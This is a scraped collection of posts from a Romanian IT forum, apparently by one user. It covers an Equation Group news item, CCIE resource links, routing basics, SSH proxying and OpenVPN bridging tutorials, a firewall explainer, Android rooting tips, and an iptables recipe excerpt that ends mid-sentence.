bogdi19

Ghiciti de la cine o sa-si recupereze pagubele!

Expertii Kaspersky Lab din cadrul echipei Global Research and Analysis Team (GReAT) monitorizeaza cu atentie, de ani de zile, peste 60 de grupuri de atacatori responsabile de multe dintre amenintarile cibernetice avansate la nivel global. Abia acum, insa, cercetatorii Kaspersky Lab pot confirma ca au descoperit o grupare mult mai evoluata decat tot ce a fost descoperit anterior – Equation Group, care este activa de aproape doua decenii. Incepand cu 2001, Equation Group a infectat mii sau zeci de mii de victime din peste 30 de tari la nivel global, vizand tinte din urmatoarele sectoare: institutii guvernamentale si diplomatice, telecomunicatii, industria aeronautica, energie, cercetare nucleara, industria de petrol si gaze, armata, industria nanotehnologiei, activisti si studenti islamici, presa, transporturi, institutii financiare si companii care dezvolta tehnologii de criptare. Grupul Equation utilizeaza o infrastructura complexa de comanda si control (C&C) care include peste 300 de domenii si peste 100 de servere. Serverele sunt gazduite in mai multe tari, printre care se numara: SUA, Marea Britanie, Italia, Germania, Olanda, Panama, Costa Rica, Malaesia, Columbia si Republica Ceha. In prezent, expertii Kaspersky Lab au preluat controlul asupra a catorva zeci de servere de comanda si control (C&C) din cele 300 descoperite, se arata intr-un comunicat de presa al Kaspersky Lab. Pentru a infecta victimele, infractorii cibernetici utilizeaza un arsenal puternic de malware. Echipa GReAT a recuperat doua module care permit atacatorilor sa reprogrameze firmware-ul din hard disk-urile mai multor dezvoltatori cunoscuti. Acesta este probabil cel mai puternic instrument utilizat de grupul Equation, fiind primul malware care poate infecta hard disk-uri. Potrivit specialistilor de la Kaspersky, prin reprogramarea firmware-ului de pe HDD, grupul Equation poate atinge doua obiective. Primul ar fi dobandirea de acces persistent, nefiind influentat de formatarea hard disk-ului sau de reinstalarea sistemului de operare. Al doilea obiectiv este abilitatea de a dezvolta o zona invizibila pe hard disk, care sa fie utilizata pentru a stoca informatii confidentiale, pe care atacatorii le pot extrage ulterior. Cititi mai mult pe SecureList.com Sursa: Hit.ro - Stiri IT, Jocuri, Gadgeturi, Download programe

Cineva de pe forum imi poate da si mie o invitatie pe Hackyard? Multumesc!

CCIE R&S / CCIE Service Provider Performance Routing/Optimized Edge Routing SP Catalyst 3560 QoS Basics Catalyst Switching – Part 1 Catalyst Switching – Part 2 Routing Protocol Redistribution RIP Frame Relay Interdomain Multicast Routing OSPF Area Types Advanced MPLS L3 VPNs IP Multicast and Protocols MPLS 101 BGP Path Selection and Filtering IPv6 Protocols and Routing Multicast VPN EIGRP How I Passed CCIE 4.0 CCIE Voice Presence Integrations Sip Trunks Gatekeeper Troubleshooting Mobile Connect and Mobile Voice Access High Availability/CME as SRST v2 SIP Phone Setup & Features CUCME Features UCCX Integration and Troubleshooting Strategy for the Voice Lab Exam Cube Unity Connection Integration CCIE Wireless CCIE Wireless Preparation Tips Autonomous AP Modes Unified AP Modes Radio Resource Management WLC Templates in WCS ACS Server Configuration Unified Authentication and Encryption CCIE Security Cut-Thru Proxy Scenarios Zone Based Firewalls Easy VPN Troubleshooting IPsec VRF Aware VPN Nac Framework Security PKI Infrastructure ASA & IOS based NAT Ask the Expert Security Voice Link: Free CCIE vLectures for R&S,Voice, Wireless, Security & Service Provider | IPexpert Inc.

Rutarea este un termen folosit pentru a desemna procesul de alegere a c?ii pe care un pachet este transmis de la surs? la destina?ie sau destina?ii, chiar ?i între dou? re?ele diferite. Rutarea este bazat? pe o tabel? care are în principal urm?toarele câmpuri: adresa re?elei (net address), masca de re?ea (netmask), adresa urm?torului ruter (next hop) ?i/sau adresa interfe?ei de ie?ire. Protocoalele de rutare stabilesc regulile prin care informa?iile despre re?ele sunt schimbate între rutere în mod dinamic în scopul ob?inerii unei tabele de rutare adecvate topologiei. Protocoalele de rutare pot fi clasificare dup? mai multe criterii: - Dup? tipul de algoritmi folosi?i Protocoale bazate pe vectori distan?? (Distance Vector – DV) Protocoale bazate pe starea leg?turilor (Link State – LS) - Dup? apartenen?a ruterelor la acela?i Sistem autonom – Autonomous System: protocoale folosite de ruterele aflate în acela?i sistem autonom (Interior Gateway Protocols – IGP); Ex.: Routing Information Protocol (RIP, RIPv2), Open Shortest Path First (OSPF), Enhanced Interior Gateway Routing Protocol (EIGRP). protocoale folosite de ruterele care interconecteaz? sitemele autonome(Exterior gateway protocols – EGP). Ex.: Border Gateway Protocol (BGP). - Dac? includ sau nu în mesajele de actualizare masca re?elei: protocoale classfull (RIPv1,IGRP) – acestea nu includ masca de re?ea protocoale classless (RIPv2, EIGRP, OSPF,IS-IS) Algoritmul de rutare extrage adresa IP destina?ie din pachetul IP, apoi verific? dac? acea adres? corespunde cu vreuna din adresele interfe?elor sale. Dac? nu, parcurge secven?ial tabela de rutare comparând rezultatul opera?iei ?I logic (AND) efectuat? între adresa IP destina?ie ?i masca re?elei extras? din înregistrarea tabelei de rutare. Dac? rezultatul opera?iei ?I logic corespunde cu adresa re?elei din înregistarea tabelei de rutare, pachetul IP este transmis la IP-ul specificat (next-hop). Dac? niciuna din re?elele din tabela de rutare nu corespunde cu adresa destina?ie, pachetul este ignorat. Sursa: InfoRetele

Avantajul Apple este ca are fani nu clienti.

Vezi in firewall la inbound and outbound rules daca serviciilor tale le este permisa comunicarea in afara retelei.

Depinde si pe ce porturi ai facut forward.Daca nu ai facut pe portul 80 atunci cand le dai ip-ul ar trebui sa fie sub forma adresa ip:numarul portului de conectare la server. O sa-ti mai trebuiasca si un provider ddns deoarece la rds ai ip dinamic care se schimba la fiecare conectare/deconectare a serviciului.

http://www.youtube.com/watch?v=uKnJdB2t1Uc Sa-l mute cineva la tutoriale video.Din graba l-am postat aici si abia acum am observat.

Confirm si eu.Se conecteaza greu sau nu se mai conecteaza. Provider: RCS-RDS

Ever needed to SSH to a server that you can’t connect to directly and would have to bounce off another host? Within your local ssh configuration file which is stored in $HOME/.ssh/config create a SSH host entry for the server you are going to tunnel through. Host ssh-proxy-server HostName ssh-proxy-server.example.com The host ssh-proxy-server will need the netcat package installed which provides the nc binary. Now create another SSH host entry for the final destination server. In order to SSH to this server, you have to SSH to the ssh-proxy-server, create a tunnel then SSH through that tunnel. Host web-server HostName web-server.example.com ProxyCommand ssh -q -A ssh-proxy-server 'nc %h %p' The important line in the final configuration item is the ProxyCommand. ProxyCommand specifies the command to use to connect to the server. %h is substituted for the hostname which is defined by the HostName directive. %p is substituted for the SSH destination port which defaults to 22. Now SSH indirectly to web-server.example.com. Use -v to see SSH bounce off the ssh-proxy-server server. $ ssh -v web-server.example.com If the bounce host, in our tutorial being ‘ssh-proxy-server.example.com’, was a SOCKS5 host and not a server running SSH we would use a different ProxyCommand directive. Host web-server HostName web-server.example.com ProxyCommand connect -R both -S ssh-proxy-server.example.com:1080 %h %p The ProxyCommand above uses the ‘connect’ binary which creates a connection to a SOCKS4/5 proxy. Our SSH client will then tunnel over this SOCKS tunnel to the remote server. SURSA: Linux Sysadmin Tutorials — Linux Sysadmin Tutorials

OpenVPN is the de facto standard when it comes to deploying secure VPNs with a Linux as a server. OpenVPN has Windows and Mac clients which makes it a perfect VPN solution with a mix of server-to-server, server-to-network and a server-to-road-warrior setup. This tutorial will setup OpenVPN on Ubuntu server allowing a remote workstation to connect to the VPN. The workstation will be bridged into the local network over the OpenVPN tunnel giving it a local IP address on the network. Server Setup Firstly, lets install the OpenVPN and bridge tools packages on the server. $ sudo apt-get install openvpn bridge-utils In order to assign the remote workstation a 192.0.2.0/24 address we need to be able to bridge the OpenVPN interface (tap0) to the local 192.0.2.0/24 network. The adding of the tap0 to the bridge interface br0 will be handled by OpenVPN. Within the servers network configuration file /etc/network/interfaces we need to create the br0 interface. auto br0 iface br0 inet static address 192.0.2.1 netmask 255.255.255.0 network 192.0.2.0 broadcast 192.0.2.255 bridge_ports eth0 bridge_fd 9 bridge_hello 2 bridge_maxage 12 bridge_stp on bridge_prio 1000 Bring up the br0 interface with ifup. If eth0 or any other NIC was already configured on the local network, this NIC will have to be brought down before bringing up br0. $ sudo ifup br0 Check out the Network Connection Bridge Ubuntu wiki page if you are after more information on bridging. Now back to the OpenVPN setup. Import the easy-rsa scripts which are shipped with the OpenVPN package and stored in /usr/share/doc. Also setup a vars file which will be sourced when creating certificates. $ sudo mkdir /etc/openvpn/easy-rsa $ sudo rsync -avP /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa/ $ sudo vim /etc/openvpn/easy-rsa/vars export KEY_COUNTRY="AU" export KEY_PROVINCE=VIC export KEY_CITY=MELBOURNE export KEY_ORG="OpenVPN-EXAMPLECOMPANY" export KEY_EMAIL="admin@example.org" Setup the CA, its certificates and the shared secret key storing them in /etc/openvpn/ $ sudo chown -R root:admin /etc/openvpn/easy-rsa $ sudo chmod g+w /etc/openvpn/easy-rsa $ cd /etc/openvpn/easy-rsa $ source ./vars $ sh ./clean-all $ sh ./build-dh $ sh ./pkitool --initca $ sh ./pkitool --server server $ cd keys $ openvpn --genkey --secret ta.key $ sudo cp server.crt server.key ca.crt dh1024.pem ta.key /etc/openvpn/ Create the scripts that will execute when the OpenVPN service starts and stops. These scripts add and remove the OpenVPN interface to the servers br0 interface. $ sudo su - # cat - <<EOF > /etc/openvpn/down.sh #!/bin/sh PATH=/sbin:/usr/sbin:/bin:/usr/bin BR=\$1 DEV=\$2 brctl delif \$BR \$DEV ip link set "\$DEV" down EOF # cat - <<EOF > /etc/openvpn/up.sh #!/bin/sh PATH=/sbin:/usr/sbin:/bin:/usr/bin BR=\$1 DEV=\$2 MTU=\$3 ip link set "\$DEV" up promisc on mtu "\$MTU" if ! brctl show \$BR | egrep -q "\W+\$DEV\$"; then brctl addif \$BR \$DEV fi EOF # chmod a+x /etc/openvpn/down.sh /etc/openvpn/up.sh The server configuration for OpenVPN is created in /etc/openvpn/server.conf. The config below bridges the OpenVPN clients to the 192.0.2.1/24 network using a range between 192.0.2.160 and 192.0.2.170 to lease to OpenVPN clients. It also calls the up.sh and down.sh scripts when the OpenVPN service is started and stopped. # cat - <<EOF > /etc/openvpn/server.conf port 1194 proto udp server-bridge 192.0.2.1 255.255.255.0 192.0.2.160 192.0.2.170 dev tap0 ca ca.crt cert server.crt tun-mtu 1454 key server.key dh dh1024.pem up "/etc/openvpn/up.sh br0" down "/etc/openvpn/down.sh br0" ifconfig-pool-persist ipp.txt keepalive 10 600 comp-lzo persist-key persist-tun verb 3 mute 20 status openvpn-status.log client-config-dir ccd client-to-client EOF Once the config and the server certificates are in place, start the OpenVPN service. $ sudo service openvpn start Client Setup On the server generate the client certificates for a client named John Example. $ cd /etc/openvpn/easy-rsa $ source ./vars $ ./build-key-pass john_example Enter the PEM pass phrase that the client will need to enter in everytime he connects to the VPN. The other options can be left as the default except for the Common Name which should be set to john_example.ovpn Tar the certificates up and transfer them to the client work station. $ cd /etc/openvpn/easy-rsa/keys $ tar cvf ~/john_example.tar john_example.{crt,csr,key} ca.crt Tunnelblick is a free, open source OpenVPN graphical user interface for Mac OS. The contents of the tar files can be dropped into ~/Library/Application Support/Tunnelblick/Configurations and will be automatically imported into tunnelblick. With a Linux workstation, drop the files into /etc/openvpn/ after installing the openvpn package. On the client generate the OpenVPN client configuration file. # cat - <<EOF > /etc/openvpn/client-hq.conf client dev tap proto udp remote vpn-headoffice.example.org 1194 tun-mtu 1454 nobind persist-tun ca ca.crt cert client-john_example.crt key client-john_example.key comp-lzo verb 3 mute 20 auth-nocache EOF On a Linux client, the configuration file should dropped into /etc/openvpn/client.conf. With tunnelblick, the configuration file is dropped into ~/Library/Application Support/Tunnelblick/Configurations. The remote end point for the tunnel is vpn-headoffice.example.org which is the 203.0.113.254 interface on server.hq.example.org Once the client configuration is in place, start up the tunnel with tunnelblick or by starting the OpenVPN service on the Linux workstation. $ sudo service openvpn start On a Linux client a tap0 interface is created and should be assigned a 192.0.2.160/24 address allowing the entire 192.0.2.0/24 to be routed across the OpenVPN connection. $ ip addr show tap0 10: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1454 qdisc pfifo_fast state UNKNOWN qlen 100 link/ether f2:24:a0:41:51:f0 brd ff:ff:ff:ff:ff:ff inet 192.0.2.160/24 brd 192.0.2.255 scope global tap0 inet6 fe80::fc24:adff:fe43:51f0/64 scope link SURSA: Linux Sysadmin Tutorials — Linux Sysadmin Tutorials

If you have been using the Internet for any length of time, and especially if you work at a larger company and browse the Web while you are at work, you have probably heard the term firewall used. For example, you often hear people in companies say things like, "I can't use that site because they won't let it through the firewall." If you have a fast Internet connection into your home (either a DSL connection or a cable modem), you may have found yourself hearing about firewalls for your home network as well. It turns out that a small home network has many of the same security issues that a large corporate network does. You can use a firewall to protect your home network and family from offensive Web sites and potential hackers. Basically, a firewall is a barrier to keep destructive forces away from your property. In fact, that's why its called a firewall. Its job is similar to a physical firewall that keeps a fire from spreading from one area to the next. As you read through this article, you will learn more about firewalls, how they work and what kinds of threats they can protect you from. What Firewall Software Does A firewall is simply a program or hardware device that filters the information coming through the Internet connection into your private network or computer system. If an incoming packet of information is flagged by the filters, it is not allowed through. If you have read the article How Web Servers Work, then you know a good bit about how data moves on the Internet, and you can easily see how a firewall helps protect computers inside a large company. Let's say that you work at a company with 500 employees. The company will therefore have hundreds of computers that all have network cards connecting them together. In addition, the company will have one or more connections to the Internet through something like T1 or T3 lines. Without a firewall in place, all of those hundreds of computers are directly accessible to anyone on the Internet. A person who knows what he or she is doing can probe those computers, try to make FTP connections to them, try to make telnet connections to them and so on. If one employee makes a mistake and leaves a security hole, hackers can get to the machine and exploit the hole. With a firewall in place, the landscape is much different. A company will place a firewall at every connection to the Internet (for example, at every T1 line coming into the company). The firewall can implement security rules. For example, one of the security rules inside the company might be: Out of the 500 computers inside this company, only one of them is permitted to receive public FTP traffic. Allow FTP connections only to that one computer and prevent them on all others. A company can set up rules like this for FTP servers, Web servers, Telnet servers and so on. In addition, the company can control how employees connect to Web sites, whether files are allowed to leave the company over the network and so on. A firewall gives a company tremendous control over how people use the network. Firewalls use one or more of three methods to control traffic flowing in and out of the network: Packet filtering - Packets (small chunks of data) are analyzed against a set of filters. Packets that make it through the filters are sent to the requesting system and all others are discarded. Proxy service - Information from the Internet is retrieved by the firewall and then sent to the requesting system and vice versa. Stateful inspection - A newer method that doesn't examine the contents of each packet but instead compares certain key parts of the packet to a database of trusted information. Information traveling from inside the firewall to the outside is monitored for specific defining characteristics, then incoming information is compared to these characteristics. If the comparison yields a reasonable match, the information is allowed through. Otherwise it is discarded. Firewall Configuration Firewalls are customizable. This means that you can add or remove filters based on several conditions. Some of these are: IP addresses - Each machine on the Internet is assigned a unique address called an IP address. IP addresses are 32-bit numbers, normally expressed as four "octets" in a "dotted decimal number." A typical IP address looks like this: 216.27.61.137. For example, if a certain IP address outside the company is reading too many files from a server, the firewall can block all traffic to or from that IP address. Domain names - Because it is hard to remember the string of numbers that make up an IP address, and because IP addresses sometimes need to change, all servers on the Internet also have human-readable names, called domain names. For example, it is easier for most of us to remember HowStuffWorks "Learn how Everything Works!" than it is to remember 216.27.61.137. A company might block all access to certain domain names, or allow access only to specific domain names. Protocols - The protocol is the pre-defined way that someone who wants to use a service talks with that service. The "someone" could be a person, but more often it is a computer program like a Web browser. Protocols are often text, and simply describe how the client and server will have their conversation. The http in the Web's protocol. Some common protocols that you can set firewall filters for include: IP (Internet Protocol) - the main delivery system for information over the Internet TCP (Transmission Control Protocol) - used to break apart and rebuild information that travels over the Internet HTTP (Hyper Text Transfer Protocol) - used for Web pages FTP (File Transfer Protocol) - used to download and upload files UDP (User Datagram Protocol) - used for information that requires no response, such as streaming audio and video ICMP (Internet Control Message Protocol) - used by a router to exchange the information with other routers SMTP (Simple Mail Transport Protocol) - used to send text-based information (e-mail) SNMP (Simple Network Management Protocol) - used to collect system information from a remote computer Telnet - used to perform commands on a remote computer A company might set up only one or two machines to handle a specific protocol and ban that protocol on all other machines. Ports - Any server machine makes its services available to the Internet using numbered ports, one for each service that is available on the server (see How Web Servers Work for details). For example, if a server machine is running a Web (HTTP) server and an FTP server, the Web server would typically be available on port 80, and the FTP server would be available on port 21. A company might block port 21 access on all machines but one inside the company. Specific words and phrases - This can be anything. The firewall will sniff (search through) each packet of information for an exact match of the text listed in the filter. For example, you could instruct the firewall to block any packet with the word "X-rated" in it. The key here is that it has to be an exact match. The "X-rated" filter would not catch "X rated" (no hyphen). But you can include as many words, phrases and variations of them as you need. Some operating systems come with a firewall built in. Otherwise, a software firewall can be installed on the computer in your home that has an Internet connection. This computer is considered a gateway because it provides the only point of access between your home network and the Internet. With a hardware firewall, the firewall unit itself is normally the gateway. A good example is the Linksys Cable/DSL router. It has a built-in Ethernet card and hub. Computers in your home network connect to the router, which in turn is connected to either a cable or DSL modem. You configure the router via a Web-based interface that you reach through the browser on your computer. You can then set any filters or additional information. Hardware firewalls are incredibly secure and not very expensive. Home versions that include a router, firewall and Ethernet hub for broadband connections can be found for well under $100. Why Firewall Security? There are many creative ways that unscrupulous people use to access or abuse unprotected computers: Remote login - When someone is able to connect to your computer and control it in some form. This can range from being able to view or access your files to actually running programs on your computer. Application backdoors - Some programs have special features that allow for remote access. Others contain bugs that provide a backdoor, or hidden access, that provides some level of control of the program. SMTP session hijacking - SMTP is the most common method of sending e-mail over the Internet. By gaining access to a list of e-mail addresses, a person can send unsolicited junk e-mail (spam) to thousands of users. This is done quite often by redirecting the e-mail through the SMTP server of an unsuspecting host, making the actual sender of the spam difficult to trace. Operating system bugs - Like applications, some operating systems have backdoors. Others provide remote access with insufficient security controls or have bugs that an experienced hacker can take advantage of. Denial of service - You have probably heard this phrase used in news reports on the attacks on major Web sites. This type of attack is nearly impossible to counter. What happens is that the hacker sends a request to the server to connect to it. When the server responds with an acknowledgement and tries to establish a session, it cannot find the system that made the request. By inundating a server with these unanswerable session requests, a hacker causes the server to slow to a crawl or eventually crash. E-mail bombs - An e-mail bomb is usually a personal attack. Someone sends you the same e-mail hundreds or thousands of times until your e-mail system cannot accept any more messages. Macros - To simplify complicated procedures, many applications allow you to create a script of commands that the application can run. This script is known as a macro. Hackers have taken advantage of this to create their own macros that, depending on the application, can destroy your data or crash your computer. Viruses - Probably the most well-known threat is computer viruses. A virus is a small program that can copy itself to other computers. This way it can spread quickly from one system to the next. Viruses range from harmless messages to erasing all of your data. Spam - Typically harmless but always annoying, spam is the electronic equivalent of junk mail. Spam can be dangerous though. Quite often it contains links to Web sites. Be careful of clicking on these because you may accidentally accept a cookie that provides a backdoor to your computer. Redirect bombs - Hackers can use ICMP to change (redirect) the path information takes by sending it to a different router. This is one of the ways that a denial of service attack is set up. Source routing - In most cases, the path a packet travels over the Internet (or any other network) is determined by the routers along that path. But the source providing the packet can arbitrarily specify the route that the packet should travel. Hackers sometimes take advantage of this to make information appear to come from a trusted source or even from inside the network! Most firewall products disable source routing by default. Some of the items in the list above are hard, if not impossible, to filter using a firewall. While some firewalls offer virus protection, it is worth the investment to install anti-virus software on each computer. And, even though it is annoying, some spam is going to get through your firewall as long as you accept e-mail. The level of security you establish will determine how many of these threats can be stopped by your firewall. The highest level of security would be to simply block everything. Obviously that defeats the purpose of having an Internet connection. But a common rule of thumb is to block everything, then begin to select what types of traffic you will allow. You can also restrict traffic that travels through the firewall so that only certain types of information, such as e-mail, can get through. This is a good rule for businesses that have an experienced network administrator that understands what the needs are and knows exactly what traffic to allow through. For most of us, it is probably better to work with the defaults provided by the firewall developer unless there is a specific reason to change it. One of the best things about a firewall from a security standpoint is that it stops anyone on the outside from logging onto a computer in your private network. While this is a big deal for businesses, most home networks will probably not be threatened in this manner. Still, putting a firewall in place provides some peace of mind. Proxy Servers and DMZ A function that is often combined with a firewall is a proxy server. The proxy server is used to access Web pages by the other computers. When another computer requests a Web page, it is retrieved by the proxy server and then sent to the requesting computer. The net effect of this action is that the remote computer hosting the Web page never comes into direct contact with anything on your home network, other than the proxy server. Proxy servers can also make your Internet access work more efficiently. If you access a page on a Web site, it is cached (stored) on the proxy server. This means that the next time you go back to that page, it normally doesn't have to load again from the Web site. Instead it loads instantaneously from the proxy server. There are times that you may want remote users to have access to items on your network. Some examples are: Web site Online business FTP download and upload area In cases like this, you may want to create a DMZ (Demilitarized Zone). Although this sounds pretty serious, it really is just an area that is outside the firewall. Think of DMZ as the front yard of your house. It belongs to you and you may put some things there, but you would put anything valuable inside the house where it can be properly secured. Setting up a DMZ is very easy. If you have multiple computers, you can choose to simply place one of the computers between the Internet connection and the firewall. Most of the software firewalls available will allow you to designate a directory on the gateway computer as a DMZ. Once you have a firewall in place, you should test it. A great way to do this is to go to Sursa:http://computer.howstuffworks.com

In snowbreeze ai o optiune care face exact chestia asta si anume activeaza telefonul fara cartela.

Ca sa instalezi ios 5 pe iphone 4 fara sa-ti faca update de baseband folosesti snowbreeze,sunt o gramada de tutoriale pe net. Cat despre downgrade ai un tutorial foarte bun in romana aici Tutorial: Cum sa faci downgrade de la iOS 5 la iOS 4.3.3 | iDevice.ro

Cu placere si ma bucur ca ai rezolvat. Data viitoare cand mai vrei sa instalezi un custom rom rootezi cu tutorialul de aici GalaxyS2Root.com - Your Source for Galaxy S2 root, roms, and more tips! si rom-ul il instalezi din cwm recovery. Bafta!

Chapter 1. Introduction to Windows Server 2003 Security 1.1 What Is Security 1.2 What Is Windows Server 2003? 1.3 Security Design in Windows Server 2003 1.4 Security Features in the Windows Server 2003 Family 1.5 Summary Chapter 2. Basics of Computer Security 2.1 Why Computer Security Is Important 2.2 Security Enforcement Mechanisms 2.3 POLA: The Principle of Least Access 2.4 Key-Based Cryptography 2.5 Authorization and Authentication 2.6 Password Basics 2.7 Network Security 2.8 Keeping Your Eyes Open 2.9 Summary Chapter 3. Physical Security 3.1 Identifying Physical Security Vulnerabilities 3.2 Protecting Physical Assets 3.3 Holistic Security: Best Practices 3.4 Summary Chapter 4. File System Security 4.1 Protecting Files with NTFS File Permissions 4.2 Protecting Data with the Encrypting File System 4.3 Protecting System Information with Syskey 4.4 Summary Chapter 5. Group Policy and Security Templates 5.1 What Is Group Policy? 5.2 How Group Policy Works 5.3 How Do Security Templates Work? 5.4 Using Group Policy to Enforce Security 5.5 Using Security Templates to Deploy Secure Configurations 5.6 Summary Chapter 6. Running Secure Code 6.1 Identifying Secure Code 6.2 Driver Signing 6.3 Software Restriction Policies 6.4 Summary Chapter 7. Authentication 7.1 LAN Manager and NTLM 7.2 Kerberos 7.3 Summary Chapter 8. IP Security 8.1 What Is IP Security? 8.2 How Does IPSec Work? 8.3 Microsoft's Implementation of IPSec in Windows Server 2003 8.4 Using IPSec Correctly 8.5 Summary Chapter 9. Certificates and Public Key Infrastructure 9.1 What Are Certificates? 9.2 What Do I Do with Certificates? 9.3 What Is a Certification Authority? 9.4 Deciding Between Public and Private Certification Authorities 9.5 Implementing a Public PKI 9.6 Planning Your Private Certification Hierarchy 9.7 Implementing a Private Certification Hierarchy 9.8 Maintaining Your Hierarchy 9.9 Summary Chapter 10. Smart Card Technology 10.1 What Are Smart Cards? 10.2 Using Smart Cards 10.3 Summary Chapter 11. DHCP and DNS Security 11.1 DHCP 11.2 DNS 11.3 DNS and DHCP Together 11.4 Summary Chapter 12. Internet Information Services Security 12.1 What Is IIS? 12.2 How Does IIS Work? 12.3 Using IIS Securely 12.4 Summary Chapter 13. Active Directory Security 13.1 What Is Active Directory? 13.2 Structural Components of Active Directory 13.3 Domain Controllers 13.4 Default Security Through GPOs 13.5 Providing Security for Domains 13.6 Providing Security for Forests 13.7 Providing Security for Active Directory Objects 13.8 Providing Security for Domain Controllers 13.9 Summary Chapter 14. Remote Access Security 14.1 What Is Remote Access? 14.2 Controlling Access 14.3 Authentication and Encryption Protocols 14.4 Virtual Private Networks 14.5 Example Implementations for Remote Access 14.6 Summary Chapter 15. Auditing and Ongoing Security 15.1 Security Policies and Procedures 15.2 Auditing 15.3 Operating System Updates 15.4 Summary Link: Securing Windows Server 2003 :: Server Administration :: eTutorials.org

Cu una din metodele de aici http://galaxys2root.com/ Din curiozitate,ce metoda ai folosit?

Daca ti-a reusit instalarea kernelului poti incerca sa faci flash unui rom.

Trebuie sa faci kernel flash si dupa sa incerci sa instalezi rom-ul. Pentru gingerbread pasii sunt urmatorii: 1) Descarci Odin 2) Descarci fisierele necesare Recovery Package/ROM Hotfile.com: Transfer de fisiere cu 1 singur click: I9100XXKI3.zip (parola este samfirmware.com) Kernelul Kernel_I9100XXKI3.7z (parola este intratech@XDA) si bootloader-ul I9100_NEW_BOOTLOADER.html'>GT-I9100_NEW_BOOTLOADER.7z download - 2shared 3) Dupa ce ai descarcat toate arhivele, o sa vezi niste denumiri de genul, CODE, MODEM, CSC si .PIT.Le pui pe fiecare la locul lor in program. 4) Pune telefonul in download mode (in cazul tau nu este nevoie) si conecteaza-l la pc. 5) Pentru prima oara faci flash fara fisierul .pit si optiunea re-partition bifata.Numai in caz ca nu-ti merge incerci cu fisierul .pit si optiunea re-partition bifata. Metoda 2 in caz ca metoda de mai sus nu a functionat. 1) Descarci Kernelul si faci flash in modul PDA fara optiunea re-partition bifata. 2) Acum ar trebui sa meraga. 3) Repeti operatiunea din pasii 3,4,5. Daca tot nu merge incearca sa faci flash bootloaderului. 1) Descarci bootloader-ul si faci flash in modul PDA sau BOOTLOADER fara optiunea re-partition bifata. 2) Faci flash kernelului la fel ca in pasul 1 din metoda 2. Cam asta ar fi tot.Ai foarte mare grija si respecta toti pasii cu strictete. Bafta!

Firewalls with iptables and ipchains Your network's first barrier against unwanted infiltrators is your firewall. You do have a firewall in place, right? If you think you don't need one, monitor your incoming network traffic some time: you might be amazed by the attention you're receiving. For instance, one of our home computers has never run a publicly accessible service, but it's hit 10-150 times per day by Web, FTP, and SSH connection requests from unfamiliar hosts. Some of these could be legitimate, perhaps web crawlers creating an index; but when the hits are coming from dialup12345.nowhere.aq in faraway Antarctica, it's more likely that some script kiddie is probing your ports. (Or the latest Windows worm is trying in vain to break in.) Linux has a wonderful firewall built right into the kernel, so you have no excuse to be without one. As a superuser, you can configure this firewall with interfaces called ipchains and iptables. ipchains models a stateless packet filter. Each packet reaching the firewall is evaluated against a set of rules. Stateless means that the decision to accept, reject, or forward a packet is not influenced by previous packets. iptables, in contrast, is stateful: the firewall can make decisions based on previous packets. Consider this firewall rule: "Drop a response packet if its associated request came from server.example.com." iptables can manage this because it can associate requests with responses, but ipchains cannot. Overall, iptables is significantly more powerful, and can express complex rules more simply, than ipchains. ipchains is found in kernel Versions 2.2 and up, while iptables requires kernel Version 2.4 or higher.[1] The two cannot be used together: one or the other is chosen when the kernel is compiled. [1] Kernel 2.0 has another interface called ipfwadm, but it's so old we won't cover it. A few caveats before you use the recipes in this chapter: We're definitely not providing a complete course in firewall security. ipchains and iptables can implement complex configurations, and we're just scratching the surface. Our goal, as usual, is to present useful recipes. The recipes work individually, but not necessarily when combined. You must think carefully when mixing and matching firewall rules, to make sure you aren't passing or blocking traffic unintentionally. Assume all rules are flushed at the beginning of each recipe, using iptables -F or ipchains -F as appropriate. [Recipe 2.17] The recipes do not set default policies (-P option) for the chains. The default policy specifies what to do with an otherwise unhandled packet. You should choose intelligent defaults consistent with your site security policy. One example for iptables is: # iptables -P INPUT DROP # iptables -P OUTPUT ACCEPT # iptables -P FORWARD DROP and for ipchains: # ipchains -P input DENY # ipchains -P output ACCEPT # ipchains -P forward DENY These permit outgoing traffic but drop incoming or forwarded packets. The official site for iptables is netfilter/iptables project homepage - The netfilter.org project, where you can also find the Linux 2.4 Packet Filtering Howto at Linux 2.4 Packet Filtering HOWTO. Another nice iptables article is at http://www.samag.com/documents/s=1769/sam0112a/0112a.htm. Our Firewall Philosophy In designing a set of firewall rules for a Linux host, there are several different models we could follow. They correspond to different positions or functions of the host in your network. Single computer The host has a single network interface, and the firewall's purpose is to protect that host from the outside world. The principle distinction here is "this host" versus "everything else." One example is a home computer connected to a cable modem. Multi-homed host The host has multiple network interfaces connected to different networks, but is not acting as a router. In other words, it has an address on each of its connected networks, but it does not forward traffic across itself, nor interconnect those networks for other hosts. Such a host is called multi-homed and may be directly connected to various networks. In this case, firewall rules must distinguish among the different interfaces, addresses, and networks to which the host/router is attached, perhaps implementing different security policies on different networks. For example, the host might be connected to the Internet on one side, and a trusted private network on the other. Router The host has multiple network interfaces and is configured as a router. That is, the kernel's " IP forwarding" flag is on, and the host will forward packets between its connected networks as directed by its routing table. In this case, firewall rules not only must control what traffic may reach the host, but also might restrict what traffic can cross the host (as router), bound for other hosts. For this chapter, we decided to take the first approach?single computer?as our model. The other models are also valid and common, but they require a more detailed understanding of topics beyond the scope of this book, such as IP routing, routing protocols (RIP, OSPF, etc.), address translation (NAT/NAPT), etc. We also assume your single computer has source address verification turned on, to prevent remote hosts from pretending to be local. [Recipe 2.1] Therefore we don't address such spoofing directly in the firewall rules. Enabling Source Address Verification 2.1.1 Problem You want to prevent remote hosts from spoofing incoming packets as if they had come from your local machine. 2.1.2 Solution Turn on source address verification in the kernel. Place the following code into a system boot file (i.e., linked into the /etc/rc.d hierarchy) that executes before any network devices are enabled: #!/bin/sh echo -n "Enabling source address verification..." echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter echo "done" Or, to perform the same task after network devices are enabled: #!/bin/sh CONF_DIR=/proc/sys/net/ipv4/conf CONF_FILE=rp_filter if [ -e ${CONF_DIR}/all/${CONF_FILE} ]; then echo -n "Setting up IP spoofing protection..." for f in ${CONF_DIR}/*/${CONF_FILE}; do echo 1 > $f done echo "done" fi A quicker method may be to add this line to /etc/sysctl.conf: net.ipv4.conf.all.rp_filter = 1 and run sysctl to reread the configuration immediately: # sysctl -p 2.1.3 Discussion Source address verification is a kernel-level feature that drops packets that appear to come from your internal network, but do not. Enabling this feature should be your first network-related security task. If your kernel does not support it, you can set up the same effect using firewall rules, but it takes more work. [Recipe 2.2] 2.1.4 See Also sysctl(8). Source address verification is 